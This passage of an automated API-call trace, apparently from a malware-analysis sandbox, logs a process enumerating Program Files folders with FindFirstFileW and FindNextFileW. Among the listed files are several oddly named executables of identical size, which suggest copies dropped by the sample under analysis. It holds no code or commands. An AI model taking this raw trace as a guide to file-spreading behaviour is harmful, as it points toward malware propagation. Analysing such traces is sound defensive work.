ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPVWCTL.DLL.mui", cAlternateFileName="")) returned 1 [0029.684] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="NBMapTIP.dll.mui", cAlternateFileName="")) returned 1 [0029.684] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIALOG.exe.mui", cAlternateFileName="")) returned 1 [0029.684] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIALOG.exe.mui", cAlternateFileName="")) returned 0 [0029.684] FindClose (in: hFindFile=0x70db30 | out: hFindFile=0x70db30) returned 1 [0029.685] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56351f50, ftCreationTime.dwHighDateTime=0x1d5bafa, ftLastAccessTime.dwLowDateTime=0x35417a70, ftLastAccessTime.dwHighDateTime=0x1d54ab4, ftLastWriteTime.dwLowDateTime=0x35417a70, ftLastWriteTime.dwHighDateTime=0x1d54ab4, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="fling.exe", cAlternateFileName="")) returned 1 [0029.685] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c0db86, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x88c0db86, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x29c54b90, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xe3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkSeg.dll", cAlternateFileName="")) returned 1 [0029.685] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c554863, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8c554863, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2aeed770, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x154400, dwReserved0=0x0, dwReserved1=0x0, cFileName="JNTFiltr.dll", cAlternateFileName="")) returned 1 [0029.685] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b77e99a, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8b77e99a, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b043430, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x156800, dwReserved0=0x0, dwReserved1=0x0, cFileName="JNWDRV.dll", cAlternateFileName="")) returned 1 [0029.685] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77861d5d, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x77861d5d, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b0b6020, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x18200, dwReserved0=0x0, dwReserved1=0x0, cFileName="jnwdui.dll", cAlternateFileName="")) returned 1 [0029.685] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x778fa2d1, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x778fa2d1, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b0b6020, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="jnwmon.dll", cAlternateFileName="")) returned 1 [0029.685] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x757cd2ce, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x757cd2ce, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b0b6020, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x6c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="jnwppr.dll", cAlternateFileName="")) returned 1 [0029.685] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1a4bf5a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1a4bf5a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1abe37b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x210600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Journal.exe", cAlternateFileName="")) returned 1 [0029.685] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97b92e68, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x97b92e68, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x36740f70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa3400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPVWCTL.DLL", cAlternateFileName="")) returned 1 [0029.685] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d0a2fff, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8d0a2fff, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x43278e40, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="NBDoc.DLL", cAlternateFileName="")) returned 1 [0029.685] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743456ac, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x743456ac, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x43278e40, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xf600, dwReserved0=0x0, dwReserved1=0x0, cFileName="NBMapTIP.dll", cAlternateFileName="")) returned 1 [0029.685] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78d0fadc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x78d0fadc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xec410110, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xc800, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIALOG.exe", cAlternateFileName="")) returned 1 [0029.685] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e472dd2, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e4e551f, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0029.685] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal\\Templates\\*.*", lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e472dd2, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e4e551f, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70db30 [0029.687] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e472dd2, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e4e551f, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.687] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5570eaa, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5570eaa, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x46a6d3e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x155e, dwReserved0=0x0, dwReserved1=0x0, cFileName="blank.jtp", cAlternateFileName="")) returned 1 [0029.687] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5597007, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5597007, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x46ca8869, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ce6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dotted_Line.jtp", cAlternateFileName="")) returned 1 [0029.687] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc55bd164, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc55bd164, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x470d2eb1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x361c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Genko_1.jtp", cAlternateFileName="")) returned 1 [0029.687] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc560941e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc560941e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x47191587, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Genko_2.jtp", cAlternateFileName="")) returned 1 [0029.687] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc562f57b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc562f57b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x476ec6bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1e15c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Graph.jtp", cAlternateFileName="")) returned 1 [0029.687] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc567b835, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc567b835, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x47784c37, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x26f6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Memo.jtp", cAlternateFileName="")) returned 1 [0029.687] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc56a1992, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc56a1992, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x47ea8dd7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x275c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Month_Calendar.jtp", cAlternateFileName="")) returned 1 [0029.687] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc56c7aef, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc56c7aef, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x47f4134f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x9f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="Music.jtp", cAlternateFileName="")) returned 1 [0029.687] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc56edc4c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc56edc4c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x47f4134f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa95a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Seyes.jtp", cAlternateFileName="")) returned 1 [0029.688] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5739f06, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5739f06, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x48795fdf, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1575a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shorthand.jtp", cAlternateFileName="")) returned 1 [0029.688] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5760063, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5760063, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x48e21c07, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7f5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="To_Do_List.jtp", cAlternateFileName="")) returned 1 [0029.688] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5760063, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5760063, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x48e21c07, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7f5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="To_Do_List.jtp", cAlternateFileName="")) returned 0 [0029.688] FindClose (in: hFindFile=0x70db30 | out: hFindFile=0x70db30) returned 1 [0029.688] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfedd7bb0, ftCreationTime.dwHighDateTime=0x1d5b7d6, ftLastAccessTime.dwLowDateTime=0x37e50fb0, ftLastAccessTime.dwHighDateTime=0x1d58c3d, ftLastWriteTime.dwLowDateTime=0x37e50fb0, ftLastWriteTime.dwHighDateTime=0x1d58c3d, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="trademarksnominationbrighton.exe", cAlternateFileName="TRADEM~1.EXE")) returned 1 [0029.688] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfedd7bb0, ftCreationTime.dwHighDateTime=0x1d5b7d6, ftLastAccessTime.dwLowDateTime=0x37e50fb0, ftLastAccessTime.dwHighDateTime=0x1d58c3d, ftLastWriteTime.dwLowDateTime=0x37e50fb0, ftLastWriteTime.dwHighDateTime=0x1d58c3d, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="trademarksnominationbrighton.exe", cAlternateFileName="TRADEM~1.EXE")) returned 0 [0029.688] FindClose (in: hFindFile=0x70b630 | out: hFindFile=0x70b630) returned 1 [0029.689] FindNextFileW (in: hFindFile=0x70e3e8, lpFindFileData=0x18f604 | out: lpFindFileData=0x18f604*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa069e9f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa069e9f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="WINDOW~1")) returned 1 [0029.689] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Mail\\*.*", lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa069e9f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa069e9f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70b630 [0029.689] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa069e9f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa069e9f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.689] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2b5b780, ftCreationTime.dwHighDateTime=0x1d5a511, ftLastAccessTime.dwLowDateTime=0x4dec5d50, ftLastAccessTime.dwHighDateTime=0x1d59bf0, ftLastWriteTime.dwLowDateTime=0x4dec5d50, ftLastWriteTime.dwHighDateTime=0x1d59bf0, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="barca.exe", cAlternateFileName="")) returned 1 [0029.689] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0029.689] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Mail\\en-US\\*.*", lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70db30 [0029.689] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.689] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe421d16, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe421d16, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7e800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoeres.dll.mui", cAlternateFileName="")) returned 1 [0029.689] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcd37ad, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdcd37ad, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe.mui", cAlternateFileName="")) returned 1 [0029.689] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcd37ad, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdcd37ad, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe.mui", cAlternateFileName="")) returned 0 [0029.689] FindClose (in: hFindFile=0x70db30 | out: hFindFile=0x70db30) returned 1 [0029.689] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7065be1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa7065be1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa70b1ea1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1fbe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoe.dll", cAlternateFileName="")) returned 1 [0029.689] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc917413, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xcc917413, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x95a52df0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2b4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOERES.dll", cAlternateFileName="")) returned 1 [0029.689] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa70b1ea1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa70b1ea1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa70b1ea1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="oeimport.dll", cAlternateFileName="")) returned 1 [0029.690] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d1f425d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d1f425d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d21a3bd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab.exe", cAlternateFileName="")) returned 1 [0029.690] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, 